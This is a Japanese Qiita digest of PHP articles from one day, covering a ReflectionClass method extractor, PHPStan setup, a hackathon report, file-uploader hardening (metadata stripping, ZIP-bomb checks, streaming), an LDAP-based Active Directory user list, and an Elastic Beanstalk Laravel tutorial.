20200224のPHPに関する記事は14件です。

クラス内のメソッド情報を抜き出すためには

前書き

PHPにはクラス情報を取得するReflectionClassという関数があります。
この関数を使うとメソッドなどの行番も取得できるため、この行番情報とfile関数を併用することでコード内のメソッド一覧を取得できるのではと考えてみました。

サンプルコード

use Composer\Autoload\ClassMapGenerator;
use LogicException;
use ReflectionClass;

/**
 * Class ReflectionClassCode
 */
class ReflectionClassCode
{
    /**
     * クラス内のメソッドのコードを取得する
     *
     * @param array $class_paths
     * @param int|null $filter
     * @return array
     */
    public function getMethodCode(array $class_paths, int $filter = null)
    {
        $classes = [];
        foreach ($class_paths as $class_path) {
            foreach (ClassMapGenerator::createMap($class_path) as $model => $class_file_path) {
                $code_texts = file($class_file_path);
                $code_texts = collect($code_texts)->prepend('')->all();

                $method_codes = [];
                $reflection = new ReflectionClass($model);

                // 継承クラスのメソッドは除外したものを取得する
                $methods = collect($reflection->getMethods($filter))->where('class', $model)->all();
                foreach ($methods as $method) {
                    if ($method->getName() === '__construct') {
                        continue;
                    }

                    if (empty($method->getDocComment())) {
                        throw new LogicException('メソッドのPhoDocが未定義です。必ず入力して下さい');
                    }

                    $code_length = $method->getEndLine() - $method->getStartLine() + 1;
                    $method_code_doc_comments = $method->getDocComment() . PHP_EOL;
                    $method_code = array_slice($code_texts, $method->getStartLine(), $code_length);
                    $method_codes[$method->getName()] = '    ' . $method_code_doc_comments . collect($method_code)->join('');
                }

                $classes[$class_file_path] = $method_codes;
            }
        }

        return $classes;
    }

    /**
     * クラス内のメソッドのコードを取得する
     *
     * @param string $class_path
     * @param int|null $filter
     * @return array
     */
    public function findMethodCode(string $class_path, int $filter = null)
    {
        return collect($this->getMethodCode([$class_path], $filter))->first();
    }
}
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

なんとなくPHPStanを導入したときのメモ(まだ未解決

いれる。

composer require --dev phpstan/phpstan
$ vendor/bin/phpstan analyse app
 226/486 [▓▓▓▓▓▓▓▓▓▓▓▓▓░░░░░░░░░░░░░░░]  46%PHP Fatal error:  Allowed memory size of 134217728 bytes exhausted (tried to allocate 135168 bytes)

メモリ不足で落ちてしまう。

これで実行してみる

php vendor/bin/phpstan analyse app --memory-limit=1G

なんか色々無いぜってエラー言われた。

Class NAMESPACE\Class was not found while trying to analyse it - autoloading is probably not configured properly.

のように出たときはautoload周りがうまく行ってない。
laravelみたいにcomposerでやるだけなら自動的にvendor/autoload.phpを読んでそれで良いのだがphalconとかだとディレクトリを読ませないといけない

phpstan.neon
parameters:
  level: 0
  paths:
    - app
  autoload_directories:
    - app/controllers

こういうの。

こういうのを解決していったら2800エラーが78エラーくらいになったのだが、修正をしたもののDIならではの問題を対処することが出来ず、一旦放置する。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

一晩でReact×Laravel(API)×Dockerを利用したWebサービスを作ったTDD(徹夜駆動開発)のお話

はじめに

初めまして、大阪でWebエンジニアをしているかっぽと申します。
今回、主催者の並里氏のお誘いもあり大阪で行われた一泊二日のエンジニア合宿に参加してきたのですが
思っていた以上に刺激的で有意義な時間を過ごせましたので記事にしようと思い書いている次第です。
こちらの記事は合宿についての自分チーム主体の偏見の塊のような個人的共有レポートです。

第1回大阪エンジニア開発合宿(OsakaDevelopmentCamp)とは

2020/02/22(土) 〜 2020/02/23(日) に大阪の難波周辺で行われたエンジニアの開発合宿
Laravelのもくもく会や勉強会、ハンズオンなど多くのエンジニアのイベントを企画しているナミザト氏の今度開発合宿やってみたいな〜というぽっとでのツイートをきっかけに賛同したフットワーク軽めのエンジニア9人が集まり、3人1チームとなって前日から次の日の朝まで眠らずにひとつWebサービスを開発するというエンジニアにとって夢のような合宿です

前置き

今回の開発合宿の参加者

チームサイトウ

チームアマゾネス

チームじゃけぇ

合宿日時

2020/02/22(土) 16:00 〜 2020/02/23(日) 10:00

当日の予定

当日はチームで一つの成果物(web/アプリ問わない)を23日の7時までに作成して、
23日の8時にはみんなの前でそれぞれ成果物を発表する

合宿のルール

  • 技術選定はチームで話し合い決定する
  • 成果物はチームで話し合い決定する
  • 開発終了後の成果物の所有等はチームで話し合い決定する(自由)

今回の合宿、開始日までに環境構築や事前準備はOKですが、実装は開始日の16:00からしか行ってはいけないという暗黙のルールがありました。
しかし、なんと3チーム中2チームが16:00以前から実装を進めていたとの情報が!!(ずるい)

16:30~ 合宿開始

そんなこんなで始まった開発合宿ですが、さすが有名なエンジニアさんが多く集まっているだけあって、始まったとたんからバリバリと実装を開始しました。(私のチーム以外は。)
IMG_0706.JPG

ふんわりとしか役割を決めていなかった私のチーム、チームじゃけぇはその姿を見て呆然とし、

「え、あ、フロントする?サーバする?」
「...どっちやりたい?」
「どっちでも...」

とスタートから挙動不審
幸先の悪いスタートとなりました。

今回チームじゃけぇが開発合宿で開発した成果物と選定した技術スタック

今回チームじゃけぇが開発合宿で開発したのは...

React×Laravel(API)×Dockerを利用したある分野に特化した専用掲示板!!

※正式な公表のタイミングがあると思うので名前はあえて控えます

フロントエンド: React (じゃけぇ担当)
サーバサイド: Laravel API (はる・かっぽ担当)

今回のソースコードのフォルダ構成ですが、ReactとLaravelを同じ階層のリポジトリに置き、開発環境はDockerを利用、本番環境のデプロイ先はフロント・サーバそれぞれのサーバという構成でWebサービスを作りました。(この構成、個人的にすごくやりやすかったです)
余裕があればGitHub共有したいと思います!

Dockerについて

フロントのDockerはcreate-react-appを参考に
サーバのDockerはphp-for-everyoneを参考に
フロント・サーバの各々のDockerの良さを引っ張ってきて、つなぎこんでガッチャンコした
今回特別に作ったDockerを使用しました。
GitHubについては、落ち着いたらリポジトリとは別にReact×Laravel(API)×Dockerの環境構築用としてDocker環境を共有する予定です。
Facebookの皆さん、Laravel-shibuyaの皆さん 参考にさせていただきました。ありがとうございます。)

本番サーバについて

ReactはNow
LaravelはHerku
のサーバを利用しました。
Laravelは完全にAPIとし、DBの値やビジネスロジックでゴニョゴニョした値をJSON型で返す処理のみで、データ表示はReactにすべてお任せました。
デプロイは、masterブランチにmergeされたと同時に自動で本番反映されるように設定致しました。

17:00~ チームじゃけぇ始動

それぞれの役割も決まり、チームじゃけぇもいざ開発スタートです!

当日までに、はるさんがWebサービスのデザインをFigmaで作成していただいていたのと、じゃけぇさんの技術力でフロントは初速充分でバリバリ進みます。

肝心のサーバサイドはというと...

私自身、普段PHPのSymfonyを使用しており、Laravelの業務経験はありましたが約一年ぶりに触ります。
はるさんも普段はJavaを使った開発が多いとのことで

「ヤベェ、どうします?w」

「まずはAPIの設定から?」

とあたふた。

しかし、人間の記憶とは素晴らしいもので、一度触り始めると1年前のLaravelの記憶がどんどん蘇ってきました。
まさに、「書けるっ!書けるぞっ!!」状態

はるさんも吸収力がナプキンレベル、1つ進めると後は自走状態に。

そこからは3人とも、時間を忘れるように開発に没頭しました。

20:00~ 晩御飯

今回の合宿の晩御飯は豪華!
宅配のピザLsize3枚(チーズ・照り焼き・マヨポテト)
寿司を5人前(サーモンセット3人前・マグロセット2人前)
お寿司の注文にはUberEatsを利用しました。

20:00過ぎに全ての注文が届き、支払いも済ませたので食事にしましょうと皆さん一休み。
いざ食べようと広げてみると...

「あれ?マグロセット2人前なくね?」

どういうことか、支払いはお寿司5人前分したのに注文したマグロセット2人前が配達されませんでした。
なにしとんねんUberEats
IMG_0702.JPG

21:00~ 再び事件

ご飯も食べ終えたので開発する人部屋に残り、銭湯行く人は行きましょうということになりました。
私とはるさんは再び開発を進め、じゃけぇさんは銭湯に。

ここでまたまた事件発生

なんと、突然フロントが表示されない!!!

しかも、フロント担当のじゃけぇさんが銭湯に行ってしまっていません。

ドヤ顔で
「yarn install したら治るでしょ」 と高を括っていました。

が、インストールしても

「あれ?治らない、、、」

結局、はるさんと1時間ほど格闘しました。

じゃけぇさんが帰ってきて解決しましたが、
結論、yarn install の場所を間違えていました。

しょうもないことで時間取られてしまう エンジニアあるあるですよね。

これにより、フロント頼りの開発を辞め、API開発時に便利なGoogleChromeの拡張ツールTalend Api Tester
を使いこなせるようになりました。(いや、使ってなかったんかい!)

22:00~6:00 空白の8時間

ふと時計を見るともう6時。

ほとんど記憶がございません。
意識朦朧の中、必死で実装しまくってました。

結果的には、
フロント側は基本的なフォーム作成やデザイン実装から、ストレージを利用したデータ保存機能まで。
サーバ側はAPIでのRouting・基本的なCRUD処理からLaravelのEloquentを利用したソート切り替え処理まで。

難なくクリアし、どちらともキリの良いところで実装を終えられました。万歳。

8:00~ 成果物発表

やはり、一晩で3人で1つのWebサービスを作り上げるのは至難の業。
結論を言うと、3チームとも時間の問題もあり、完成に至らずでした。
しかし、全員が触ったことのない新しい技術に挑戦するといった目標を掲げ最後まで諦めずに頑張るチーム
Laravelの認証周りの理解に苦しみながらも様々な記事から豊富な知識を蓄えたチーム等、
どのチームも開発に没頭し、誰一人脱落することなく開発合宿を終えることができました!

成果物発表が終わったあとは眠さの限界でチェックアウトの時間まで床で爆睡。
私一人だけ、昨日の残りのピザの残飯処理をすると言うカオスな光景となりました。
IMG_0704.JPG

まとめ

以上、今回の大阪エンジニア開発合宿(OsakaDevelopmentCamp)の個人的レポートでした。
個人的には、様々なトラブルを乗り越えぶっ通しで久々にLaravel触れることができて大変嬉しかったです!
貴重な体験をさせていただきまして、主催者の並里氏をはじめ参加された皆様、ありがとうございました!
そしてお疲れ様でした!
次回開催はいつになるかわかりませんが大いに楽しみですね?
IMG_0709.JPG
(疲れ切った表情の皆さんを載せるのは心が痛かったのでマンウィズっぽく)

有志ですがプロダクト参加者募集してます

今回実装した掲示板Webサービスですが React×Laravel(API)×Docker で環境構築されており、プロダクト自体も初学者に大変わかりやすく勉強になるプロダクトだと自負しております。
3人とも完全に趣味の範囲でやっておりますので、お給料等をお支払いすることはできませんが、もしこのプロダクトに参加して一緒にLaravel・Reactの勉強をしたり自分のポートフォリオの一つとして利用したいというエンジニアの方(実務未経験でも可)いらっしゃいましたら気軽にDM・リプでご連絡くださいませ〜
一緒に楽しくWebサービスを作りましょう?

最後までお読みいただきありがとうございました〜?

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

開発合宿でReact×Laravel(API)×Dockerを利用したWebサービスを作ったお話

はじめに

初めまして、大阪でWebエンジニアをしているかっぽと申します。
今回、主催者の並里氏のお誘いもあり大阪で行われた一泊二日のエンジニア合宿に参加してきたのですが
思っていた以上に刺激的で有意義な時間を過ごせましたので記事にしようと思い書いている次第です。
こちらの記事は合宿についての自分チーム主体の偏見の塊のような個人的共有レポートです。

第1回大阪エンジニア開発合宿(OsakaDevelopmentCamp)とは

2020/02/22(土) 〜 2020/02/23(日) に大阪の難波周辺で行われたエンジニアの開発合宿
Laravelのもくもく会や勉強会、ハンズオンなど多くのエンジニアのイベントを企画しているナミザト氏の今度開発合宿やってみたいな〜というぽっとでのツイートをきっかけに賛同したフットワーク軽めのエンジニア9人が集まり、3人1チームとなって前日から次の日の朝まで眠らずにひとつWebサービスを開発するというエンジニアにとって夢のような合宿です

前置き

今回の開発合宿の参加者

チームサイトウ

チームアマゾネス

チームじゃけぇ

合宿日時

2020/02/22(土) 16:00 〜 2020/02/23(日) 10:00

当日の予定

当日はチームで一つの成果物(web/アプリ問わない)を23日の7時までに作成して、
23日の8時にはみんなの前でそれぞれ成果物を発表する

合宿のルール

  • 技術選定はチームで話し合い決定する
  • 成果物はチームで話し合い決定する
  • 開発終了後の成果物の所有等はチームで話し合い決定する(自由)

今回の合宿、開始日までに環境構築や事前準備はOKですが、実装は開始日の16:00からしか行ってはいけないという暗黙のルールがありました。
しかし、なんと3チーム中2チームが16:00以前から実装を進めていたとの情報が!!(ずるい)

16:30~ 合宿開始

そんなこんなで始まった開発合宿ですが、さすが有名なエンジニアさんが多く集まっているだけあって、始まったとたんからバリバリと実装を開始しました。(私のチーム以外は。)
IMG_0706.JPG

ふんわりとしか役割を決めていなかった私のチーム、チームじゃけぇはその姿を見て呆然とし、

「え、あ、フロントする?サーバする?」
「...どっちやりたい?」
「どっちでも...」

とスタートから挙動不審
幸先の悪いスタートとなりました。

今回チームじゃけぇが開発合宿で開発した成果物と選定した技術スタック

今回チームじゃけぇが開発合宿で開発したのは...

React×Laravel(API)×Dockerを利用したある分野に特化した専用掲示板!!

※正式な公表のタイミングがあると思うので名前はあえて控えます

フロントエンド: React (じゃけぇ担当)
サーバサイド: Laravel API (はる・かっぽ担当)

今回のソースコードのフォルダ構成ですが、ReactとLaravelを同じ階層のリポジトリに置き、開発環境はDockerを利用、本番環境のデプロイ先はフロント・サーバそれぞれのサーバという構成でWebサービスを作りました。(この構成、個人的にすごくやりやすかったです)
余裕があればGitHub共有したいと思います!

Dockerについて

フロントのDockerはcreate-react-appを参考に
サーバのDockerはphp-for-everyoneを参考に
フロント・サーバの各々のDockerの良さを引っ張ってきて、つなぎこんでガッチャンコした
今回特別に作ったDockerを使用しました。
GitHubについては、落ち着いたらリポジトリとは別にReact×Laravel(API)×Dockerの環境構築用としてDocker環境を共有する予定です。
Facebookの皆さん、Laravel-shibuyaの皆さん 参考にさせていただきました。ありがとうございます。)

本番サーバについて

ReactはNow
LaravelはHerku
のサーバを利用しました。
Laravelは完全にAPIとし、DBの値やビジネスロジックでゴニョゴニョした値をJSON型で返す処理のみで、データ表示はReactにすべてお任せました。
デプロイは、masterブランチにmergeされたと同時に自動で本番反映されるように設定致しました。

17:00~ チームじゃけぇ始動

それぞれの役割も決まり、チームじゃけぇもいざ開発スタートです!

当日までに、はるさんがWebサービスのデザインをFigmaで作成していただいていたのと、じゃけぇさんの技術力でフロントは初速充分でバリバリ進みます。

肝心のサーバサイドはというと...

私自身、普段PHPのSymfonyを使用しており、Laravelの業務経験はありましたが約一年ぶりに触ります。
はるさんも普段はJavaを使った開発が多いとのことで

「ヤベェ、どうします?w」

「まずはAPIの設定から?」

とあたふた。

しかし、人間の記憶とは素晴らしいもので、一度触り始めると1年前のLaravelの記憶がどんどん蘇ってきました。
まさに、「書けるっ!書けるぞっ!!」状態

はるさんも吸収力がナプキンレベル、1つ進めると後は自走状態に。

そこからは3人とも、時間を忘れるように開発に没頭しました。

20:00~ 晩御飯

今回の合宿の晩御飯は豪華!
宅配のピザLsize3枚(チーズ・照り焼き・マヨポテト)
寿司を5人前(サーモンセット3人前・マグロセット2人前)
お寿司の注文にはUberEatsを利用しました。

20:00過ぎに全ての注文が届き、支払いも済ませたので食事にしましょうと皆さん一休み。
いざ食べようと広げてみると...

「あれ?マグロセット2人前なくね?」

どういうことか、支払いはお寿司5人前分したのに注文したマグロセット2人前が配達されませんでした。
なにしとんねんUberEats
IMG_0702.JPG

21:00~ 再び事件

ご飯も食べ終えたので開発する人部屋に残り、銭湯行く人は行きましょうということになりました。
私とはるさんは再び開発を進め、じゃけぇさんは銭湯に。

ここでまたまた事件発生

なんと、突然フロントが表示されない!!!

しかも、フロント担当のじゃけぇさんが銭湯に行ってしまっていません。

ドヤ顔で
「yarn install したら治るでしょ」 と高を括っていました。

が、インストールしても

「あれ?治らない、、、」

結局、はるさんと1時間ほど格闘しました。

じゃけぇさんが帰ってきて解決しましたが、
結論、yarn install の場所を間違えていました。

しょうもないことで時間取られてしまう エンジニアあるあるですよね。

これにより、フロント頼りの開発を辞め、API開発時に便利なGoogleChromeの拡張ツールTalend Api Tester
を使いこなせるようになりました。(いや、使ってなかったんかい!)

22:00~6:00 空白の8時間

ふと時計を見るともう6時。

ほとんど記憶がございません。
意識朦朧の中、必死で実装しまくってました。

結果的には、
フロント側は基本的なフォーム作成やデザイン実装から、ストレージを利用したデータ保存機能まで。
サーバ側はAPIでのRouting・基本的なCRUD処理からLaravelのEloquentを利用したソート切り替え処理まで。

難なくクリアし、どちらともキリの良いところで実装を終えられました。万歳。

8:00~ 成果物発表

やはり、一晩で3人で1つのWebサービスを作り上げるのは至難の業。
結論を言うと、3チームとも時間の問題もあり、完成に至らずでした。
しかし、全員が触ったことのない新しい技術に挑戦するといった目標を掲げ最後まで諦めずに頑張るチーム
Laravelの認証周りの理解に苦しみながらも様々な記事から豊富な知識を蓄えたチーム等、
どのチームも開発に没頭し、誰一人脱落することなく開発合宿を終えることができました!

成果物発表が終わったあとは眠さの限界でチェックアウトの時間まで床で爆睡。
私一人だけ、昨日の残りのピザの残飯処理をすると言うカオスな光景となりました。
IMG_0704.JPG

まとめ

以上、今回の大阪エンジニア開発合宿(OsakaDevelopmentCamp)の個人的レポートでした。
個人的には、様々なトラブルを乗り越えぶっ通しで久々にLaravel触れることができて大変嬉しかったです!
貴重な体験をさせていただきまして、主催者の並里氏をはじめ参加された皆様、ありがとうございました!
そしてお疲れ様でした!
次回開催はいつになるかわかりませんが大いに楽しみですね?
IMG_0709.JPG
(疲れ切った表情の皆さんを載せるのは心が痛かったのでマンウィズっぽく)

有志ですがプロダクト参加者募集してます

今回実装した掲示板Webサービスですが React×Laravel(API)×Docker で環境構築されており、プロダクト自体も初学者に大変わかりやすく勉強になるプロダクトだと自負しております。
3人とも完全に趣味の範囲でやっておりますので、お給料等をお支払いすることはできませんが、もしこのプロダクトに参加して一緒にLaravel・Reactの勉強をしたり自分のポートフォリオの一つとして利用したいというエンジニアの方(実務未経験でも可)いらっしゃいましたら気軽にDM・リプでご連絡くださいませ〜
一緒に楽しくWebサービスを作りましょう?

最後までお読みいただきありがとうございました〜?

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

ファイルアップローダーサービス ensha.red をリリースした話 〜バックエンド篇 Part 1 〜

はじめに

enshared というファイルアップローダーサービスを 2 月半ばに魂と生命を生贄にリリースしました。
note にもリリースまでの過程を軽く書いていますが、技術的なことはほぼ書いてないので、技術的なことを Qiita に書きます。

ファイルアップローダーサービスとは?

某巨大掲示板全盛期によく使われていました。「どっとうpろだ」とか有名だと思います。
ファイルをアップロードし、誰かに共有をする目的で使用するものです。

ただ、今までのファイルアップローダーは手軽に使える反面、アップロードをするファイルの細かい設定などは特に行えない印象がつよく、それを解決しようとして生まれたのが ensha.red です。

バックエンド篇

フロントエンド篇はまた別途書きます。

技術スタック

バックエンドの技術スタックは下記です。

  • Nginx
  • PHP 7.3 (Docker)
  • Laravel 5.8
  • Apache + mod_pagespeed (Reverse Proxy)

ファイルアップローダーを作るときに気をつけるべき点

ファイルアップローダーはユーザー入力に危険がはらむ可能性があるウェブアプリケーションです。
特に実行ファイルや動画、音楽ファイルのメタデータ、 JPEG の exif, PNG の iTxt などなどファイルの特性に対してメタデータに対するアプローチが異なります。

enshared は一部ファイルのメタデータをデフォルトで消すようになっていたり、エンコードし直したりして、ファイルサイズの縮小を行う設定があります(メタデータ削除含めこれは無効にすることもできます。)

JPEG の exif や PNG の iTxt の削除は ImageMagick を用いて行います。
ImageMagick はデフォルトでバンドルされていないことが多いので Dockerfile に下記のように書いて有効にしています

RUN apt-get install -y imagemagick libmagickwand-dev
RUN pecl install imagick
RUN docker-php-ext-enable imagick

exif や iTxt を消すには ImageMagick の stripImage を用います。

public function removeMetadata(): self
{
    $this->imagick->stripImage();
    return $this;
}

また、 ImageMagick のメモリ使用量を抑制するため、下記のように制限をかけます。

public function __construct($path)
{
    $this->imagick = new \Imagick($path);
    $this->imagick->setResourceLimit(
        \Imagick::RESOURCETYPE_MEMORY,
        100
    );
    $this->imagick->setResourceLimit(
        \Imagick::RESOURCETYPE_FILE,
        100
    );
}

GD を使わない理由は単純に画像ファイルに対して行える処理が少ない、というのがあります。
あと GD の場合純粋にエラーハンドリングが面倒くさいです。
本来であればバイナリファイルを読むというとても楽しいという行為を、サービスの公開という次元の話に落とし込むために今回は ImageMagick を使用しています。そもそも GD なんて必要なくバイナリファイルを読めばいい云々…の話をし出したら止まらなくなるので、再度いいますが、ImageMagick を使用しています。

enshared には ZIP ファイルの中身を覗ける機能があり ZIP ファイルを展開する際には ZIP BOMB などにも気をつけなければいけません。

あまり PHP での文献がなく、どうしようかなと考えた結果で実際にどう対策を行っているかというと、

// Check ZIP bomb
$zipArchive = new \ZipArchive();
$zipArchive->open($value->getPathname());

$i = 0;
while ($stat = $zipArchive->statIndex($i++)) {
    // ファイルサイズを見る
    if ($stat['size'] > static::MAX_FILE_SIZE
        || $stat['comp_size'] > static::MAX_FILE_SIZE
    ) {
        return false;
    }

    // 相対パスが含まれている場合はダメ
    if (preg_match('/(?:\/|)(?:\.\/|\.\.\/)/', $stat['name'])) {
        return false;
    }
}

さらに PHP で気をつけるべきは $_FILES の特性を知っておく必要がある、という点です。
$_FILES の MIME Type はクライアントから送信された値であり、実態がそうであるかというとそうではない可能性があります。

したがって、ファイルごとに何かしら処理を行うのであればファイルそのものの MIME Type を自分で調べる必要があります。
幸い、 Laravel には File::getMimeType() があるので、これを利用します。

そして PHP で作る際にもっとも気をつけるべき点はメモリへの展開です。
今まで見てきたプロジェクトのアップロード関連でよくしている誤りは下記です

ini_set('memory_limit', '-1');
// ...
file_get_contents($_FILES['tmp_name']);
if ((contents = php_stream_copy_to_mem(stream, maxlen, 0)) != NULL) {
    RETVAL_STR(contents);
} else {
    RETVAL_EMPTY_STRING();
}

PHP の file_get_contents は読み込んだデータをメモリ上に展開します (569 行目付近)
maxlen はデフォルトで -1 が指定されています。

これらの処理は PHP のソースコード上の _php_stream_copy_to_mem に該当します。

if (php_stream_stat(src, &ssbuf) == 0 && ssbuf.sb.st_size > 0) {
  max_len = ssbuf.sb.st_size + step;
} else {
  max_len = step;
}

result = zend_string_alloc(max_len, persistent);
ptr = ZSTR_VAL(result);

// TODO: Propagate error?
while ((ret = php_stream_read(src, ptr, max_len - len)) > 0){
  len += ret;
  if (len + min_room >= max_len) {
    result = zend_string_extend(result, max_len + step, persistent);
    max_len += step;
    ptr = ZSTR_VAL(result) + len;
  } else {
    ptr += ret;
  }
}
if (len) {
  result = zend_string_truncate(result, len, persistent);
  ZSTR_VAL(result)[len] = '\0';
} else {
  zend_string_free(result);
  result = NULL;
}

書くと長くなるので抑えておきますが、ここらへんでメモリ全てにぶっこんでいることがわかります。 (zend_string_extend で予め alloc しているメモリが足りなければ realloc している)

何が言いたいかというと、 file_get_contents はファイルの中身をすべて読み込み、メモリ上に展開をするわけです。なんなら余分に alloc もします。

ということでアップロードされたファイルのサイズが 1G や 2G などを超えたり、同時にアップロードが発生してメモリが圧迫された場合、などなど考えると file_get_contents でファイルの中身を全て取得するのはバッドプラクティスであるということがわかるかと思います。

解決策は readfile を使うか、 stream_copy_to_stream を使って読み込んでいきます。

enshared の場合は後者です。これには理由があり readfile だとファイルのパスを指定しますが、基本的に取り扱っているのが resource 型であるから、です。

stream_copy_to_stream(
    $stream,
    fopen('php://output', 'wb')
);

とてもかんたんですね。

enshared の場合、自前のサーバーではなくファイルをクラウドストレージに置いています。そのため、ファイルのデータをクラウドストレージから取得する際にも気をつける必要があります。

特に Guzzle を使用している場合 (string) $client->getBody() を使いがちですが、これもファイルの容量によってはメモリの使用量が著しく増えます。
したがって、そうはならないように、ストリームをチャンクに分けて読んでいきます。

で、 Guzzle のストリームをそのまま使えればよかったんですが、提供されていないっぽく getBody()->read を使ってチャンクに分けつつ別のストリームに書き出していく手法を取りました。

本来は Laravel の Storage::readStream にそのまま Guzzle のストリーム返せばええやろ!の気構えでいたんですが、若干工夫をする必要がありました。

public function readStream($path)
{
    /**
     * @var Response $file
     */
    $file = ...;

    $this->temps[$path] = tmpfile();

    $body = $file->getBody();
    while (!$body->eof()) {
        $read = $body->read(static::CHUNKS);
        fwrite($this->temps[$path], $read);
    };

    rewind($this->temps[$path]);
    return $this->temps[$path];
}

ローカル変数である tmpfile をそのまま返してしまうと GC の実行と重ねて削除される恐れがあるため、削除されないために一旦クラスのプロパティに格納しています。

Part1 は以上です!続きは Part2 に書きます。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

PHPでActiveDirectoryユーザの一覧を表示してみた

ActiveDirectoryで管理している従業員のログイン時刻などを、社内イントラのWebサイトから参照できるようになると便利な状況が多々ある。
ということで、PHPで簡単なコードを書いてみた。

実行環境

サーバ ソフトウェアのバージョン
AD/DNSサーバ Windows Server 2016 Standard Edition
社内イントラ用Webサーバ CentOS 7.6 + Apache 2.4 + PHP 7.2

LDAPモジュールを有効にする

ActiveDirectoryはLDAPを実装しているので、PHP組込みのLDAP関数でバインドする。
CentOS 7 でphp-ldapを有効にする手順は次の通り。

LDAPモジュールがあるか調べる
# rpm -qa | grep php
php-json-7.0.16-1.el7.remi.x86_64
php-mcrypt-7.0.16-1.el7.remi.x86_64
php-pear-1.10.1-10.el7.remi.noarch
php-common-7.0.16-1.el7.remi.x86_64
php-mysqlnd-7.0.16-1.el7.remi.x86_64
php-mbstring-7.0.16-1.el7.remi.x86_64
php-gd-7.0.16-1.el7.remi.x86_64
php-cli-7.0.16-1.el7.remi.x86_64
php-devel-7.0.16-1.el7.remi.x86_64
php-fpm-7.0.16-1.el7.remi.x86_64
php-pdo-7.0.16-1.el7.remi.x86_64
php-7.0.16-1.el7.remi.x86_64
php-process-7.0.16-1.el7.remi.x86_64
php-pgsql-7.0.16-1.el7.remi.x86_64
php-xml-7.0.16-1.el7.remi.x86_64
なければRemiリポジトリからインストール
yum -y install --enablerepo=remi-php70 php-ldap
/etc/php.d/20-ldap.ini
extension=ldap

専用ユーザアカウントの作成

PHPがLDAPでアクセスするための専用ユーザアカウントを作成し、Account Operatorsに所属させる。
image.png
Account Operatorsはビルトインローカルグループのひとつで、ドメインのユーザアカウントの管理権限を持つ。

コード

PHPを埋め込んだHTML
<html lang="ja">
<head><meta charset="utf-8"><title>在席確認</title>
<style type="text/css">
* {
  font-family: "MS ゴシック", "MS Gothic"
}
table {
  width: 100%;
}
table, th, td {
  border-collapse: collapse;
  border: 1px solid #999;
  line-height: 1.5;
}
th {
  color: #fff;
  background: #008;
}
tr:nth-child(even) {
  background: #eee;
}
td {
  text-align: center;
}
</style>
</head>
<body>
<h1>在席確認</h1>
<?php
date_default_timezone_set('Asia/Tokyo');

# ユーザアカウントの管理権限を持つアカウント
$user = 'XXXXXX';
$passwd = 'YYYYYY';

# ADサーバのアドレス
$ldapConn = ldap_connect('ldap://10.123.123.123');

ldap_set_option($ldapConn, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ldapConn, LDAP_OPT_REFERRALS, 0);

# バインドできたら
if (ldap_bind($ldapConn, $user . '@foo.example.ne.jp', $passwd)) {
    $sr = ldap_list ($ldapConn, 'ou=Users,ou=BAR,dc=foo,dc=example,dc=ne,dc=jp', '(&(objectCategory=person)(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))', array('samaccountname','description','displayname','lastlogon','pwdlastset','mail'));

    ldap_sort($ldapConn, $sr, 'description');
    $info = ldap_get_entries($ldapConn, $sr);
    $count = $info['count'];

    echo '<table border="1">';
    echo '<tr><th>No.</th><th>アカウント名</th><th>Description</th><th>氏名</th><th>メールアドレス</th><th>最終ログイン日時</th><th>最終パスワード変更日時</th></tr>';

    $n = 1;
    for ($i = 0; $i < $count; $i++) {
      $ent = $info[$i];
      $samaccountname = $ent['samaccountname'][0];
      $desc = $ent['description'][0];
      $displayname = $ent['displayname'][0];
      # メールアドレスが設定されている人は表示
      if (array_key_exists('mail', $ent)) {
        $mail = $ent['mail'][0];
      } else {
        $mail = '-';
      }
      $lastlogontime = round($ent['lastlogon'][0] / 10000000) - 11644473600;
      # 直近にログインしている人ほど背景を赤くする
      $diff = time() - $lastlogontime;
      if ($diff < 86400) {
          $bgcolor = 'bgcolor=#ff' . str_repeat(str_pad(dechex(255 * log(1 + $diff, 86400) ^ 2), 2, 0, STR_PAD_LEFT), 2);
      } else {
          $bgcolor = '';
      }
      $lastlogon = date('Y-m-d H:i:s', $lastlogontime);
      $pwdlastset = date('Y-m-d H:i:s', round($ent['pwdlastset'][0] / 10000000) - 11644473600);

      echo "<tr><td>$n</td><td>$samaccountname</td><td>$desc</td><td>$displayname</td><td>$mail</td><td $bgcolor>$lastlogon</td><td>$pwdlastset</td></tr>";
      $n++;
    }
    echo '</table>';
} else {
    echo 'Failed';
}
ldap_close($ldapConn);
?>
</body></html>

実行結果

直近までログインしている人ほど、背景色をより赤くなるようにしてみた。
この応用で、例えば1年以上パスワードを変えていない人には色を付けても良いと思う。


image.png

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

そろそろaws初めてみよか#6~Elastic Beanstalkによるlaravel~

はじめに

前回まででCodeStar、EC2、RDSによるlaravel環境が整ったわけですので
次はElastic Beanstalkにチャレンジしてみます。

Elastic Beanstalkの環境構築

まずはPHPのサンプル環境を作成してみようと思います。
そこからlaravel色に染めましょう(^^♪

Elastic Beanstalkのコンソールから[今すぐ始める]をクリック
01.png
アプリケーション名はlaravel、プラットフォームはphp、アプリケーションコードはサンプルを選択します。
02.png
数分すると環境が出来上がります。
03.png
ダッシュボードのURL欄のURLをクリックするとデプロイされたアプリケーションにアクセスできます。
04.png
PHP7.3.11らしいです。
05.png

ほぼクリックだけで実行環境ができました。

Laravelアプリケーションの作成

さてLaravelにするにはどうしたらよいかと言うと、Vendor配下以外のファイルをZIPに固めてアップロードするとデプロイされます。
せっかくなのでチュートリアルに沿った形で進めたいと思います。
Elastic Beanstalk への Laravel アプリケーションのデプロイ

まずは既存のEC2 Laravel環境(前回作成した環境ね)に新規にLaravelプロジェクトを作成します。

[ec2-user@ip-172-31-29-127 ~]$ composer create-project --prefer-dist laravel/laravel eb-laravel

環境設定ファイル.envをいじります。
変更したのはDB_HOST,DB_DATABASE,DB_USERNAME,DB_PASSWORDです。

[ec2-user@ip-172-31-29-127 eb-laravel]$ cat .env
:
DB_CONNECTION=mysql
DB_HOST=database.culgyynq9ap1.us-east-2.rds.amazonaws.com
DB_PORT=3306
DB_DATABASE=laravel_eb
DB_USERNAME=admin
DB_PASSWORD=********
:

